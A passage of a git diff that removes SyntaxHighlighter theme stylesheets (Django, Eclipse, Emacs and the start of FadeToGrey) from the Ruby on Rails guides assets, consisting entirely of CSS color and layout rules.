-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #e0e0e0 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: black !important;
-}
-.syntaxhighlighter table caption {
- color: black !important;
-}
-.syntaxhighlighter .gutter {
- color: #afafaf !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #6ce26c !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #6ce26c !important;
- color: white !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: blue !important;
- background: white !important;
- border: 1px solid #6ce26c !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: blue !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: red !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #6ce26c !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: black !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: black !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: blue !important;
-}
-.syntaxhighlighter .keyword {
- color: #006699 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #006699 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: red !important;
-}
-
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
deleted file mode 100644
index 1db1f70cb0..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
+++ /dev/null
@@ -1,331 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: #0a2b1d !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #233729 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: #f8f8f8 !important;
-}
-.syntaxhighlighter .gutter {
- color: #497958 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #41a83e !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #41a83e !important;
- color: #0a2b1d !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #96dd3b !important;
- background: black !important;
- border: 1px solid #41a83e !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #96dd3b !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: white !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #41a83e !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #ffe862 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #f8f8f8 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #336442 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #9df39f !important;
-}
-.syntaxhighlighter .keyword {
- color: #96dd3b !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #91bb9e !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #f7e741 !important;
-}
-.syntaxhighlighter .functions {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .constants {
- color: #e0e8ff !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #96dd3b !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #eb939a !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #91bb9e !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #edef7d !important;
-}
-
-.syntaxhighlighter .comments {
- font-style: italic !important;
-}
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
deleted file mode 100644
index a45de9fd8e..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEclipse.css
+++ /dev/null
@@ -1,339 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: white !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #c3defe !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: black !important;
-}
-.syntaxhighlighter .gutter {
- color: #787878 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #d4d0c8 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #d4d0c8 !important;
- color: white !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #3f5fbf !important;
- background: white !important;
- border: 1px solid #d4d0c8 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #3f5fbf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .toolbar {
- color: #a0a0a0 !important;
- background: #d4d0c8 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: #a0a0a0 !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: red !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: black !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #3f5fbf !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #2a00ff !important;
-}
-.syntaxhighlighter .keyword {
- color: #7f0055 !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #646464 !important;
-}
-.syntaxhighlighter .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: #7f0055 !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: red !important;
-}
-
-.syntaxhighlighter .keyword {
- font-weight: bold !important;
-}
-.syntaxhighlighter .xml .keyword {
- color: #3f7f7f !important;
- font-weight: normal !important;
-}
-.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
- color: #7f007f !important;
-}
-.syntaxhighlighter .xml .string {
- font-style: italic !important;
- color: #2a00ff !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
deleted file mode 100644
index 706c77a0a8..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreEmacs.css
+++ /dev/null
@@ -1,324 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
- -moz-border-radius: 0 0 0 0 !important;
- -webkit-border-radius: 0 0 0 0 !important;
- background: none !important;
- border: 0 !important;
- bottom: auto !important;
- float: none !important;
- height: auto !important;
- left: auto !important;
- line-height: 1.1em !important;
- margin: 0 !important;
- outline: 0 !important;
- overflow: visible !important;
- padding: 0 !important;
- position: static !important;
- right: auto !important;
- text-align: left !important;
- top: auto !important;
- vertical-align: baseline !important;
- width: auto !important;
- box-sizing: content-box !important;
- font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
- font-weight: normal !important;
- font-style: normal !important;
- font-size: 1em !important;
- min-height: inherit !important;
- min-height: auto !important;
-}
-
-.syntaxhighlighter {
- width: 100% !important;
- margin: 1em 0 1em 0 !important;
- position: relative !important;
- overflow: auto !important;
- font-size: 1em !important;
-}
-.syntaxhighlighter.source {
- overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
- font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
- font-style: italic !important;
-}
-.syntaxhighlighter .line {
- white-space: pre !important;
-}
-.syntaxhighlighter table {
- width: 100% !important;
-}
-.syntaxhighlighter table caption {
- text-align: left !important;
- padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
- width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
- position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
- box-sizing: border-box !important;
- position: absolute !important;
- left: 0 !important;
- top: 0 !important;
- width: 100% !important;
- height: 100% !important;
- border: none !important;
- background: white !important;
- padding-left: 1em !important;
- overflow: hidden !important;
- white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
- text-align: right !important;
- padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
- padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
- padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
- display: block !important;
-}
-.syntaxhighlighter.collapsed table {
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- padding: 0.1em 0.8em 0em 0.8em !important;
- font-size: 1em !important;
- position: static !important;
- width: auto !important;
- height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
- display: inline !important;
- margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
- padding: 0 !important;
- display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar {
- position: absolute !important;
- right: 1px !important;
- top: 1px !important;
- width: 11px !important;
- height: 11px !important;
- font-size: 10px !important;
- z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
- display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
- display: block !important;
- text-align: center !important;
- text-decoration: none !important;
- padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
- display: none !important;
-}
-.syntaxhighlighter.ie {
- font-size: .9em !important;
- padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
- line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
- padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
- background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
- color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
- color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
- display: none !important;
-}
-.syntaxhighlighter.printing a {
- text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
- color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
- color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
- color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
- color: #006699 !important;
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
- color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
- color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
- color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
- color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
- font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
- color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
- color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
- color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
- color: black !important;
-}
-
-.syntaxhighlighter {
- background-color: black !important;
-}
-.syntaxhighlighter .line.alt1 {
- background-color: black !important;
-}
-.syntaxhighlighter .line.alt2 {
- background-color: black !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
- background-color: #2a3133 !important;
-}
-.syntaxhighlighter .line.highlighted.number {
- color: white !important;
-}
-.syntaxhighlighter table caption {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .gutter {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .gutter .line {
- border-right: 3px solid #990000 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
- background-color: #990000 !important;
- color: black !important;
-}
-.syntaxhighlighter.printing .line .content {
- border: none !important;
-}
-.syntaxhighlighter.collapsed {
- overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
- color: #ebdb8d !important;
- background: black !important;
- border: 1px solid #990000 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
- color: #ebdb8d !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .toolbar {
- color: white !important;
- background: #990000 !important;
- border: none !important;
-}
-.syntaxhighlighter .toolbar a {
- color: white !important;
-}
-.syntaxhighlighter .toolbar a:hover {
- color: #9ccff4 !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
- color: #d3d3d3 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
- color: #ff9e7b !important;
-}
-.syntaxhighlighter .keyword {
- color: aqua !important;
-}
-.syntaxhighlighter .preprocessor {
- color: #aec4de !important;
-}
-.syntaxhighlighter .variable {
- color: #ffaa3e !important;
-}
-.syntaxhighlighter .value {
- color: #009900 !important;
-}
-.syntaxhighlighter .functions {
- color: #81cef9 !important;
-}
-.syntaxhighlighter .constants {
- color: #ff9e7b !important;
-}
-.syntaxhighlighter .script {
- font-weight: bold !important;
- color: aqua !important;
- background-color: none !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
- color: #ebdb8d !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
- color: #ff7d27 !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
- color: #aec4de !important;
-}
diff --git a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css b/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
deleted file mode 100644
index 6101eba51f..0000000000
--- a/railties/guides/assets/stylesheets/syntaxhighlighter/shCoreFadeToGrey.css
+++ /dev/null
@@ -1,328 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
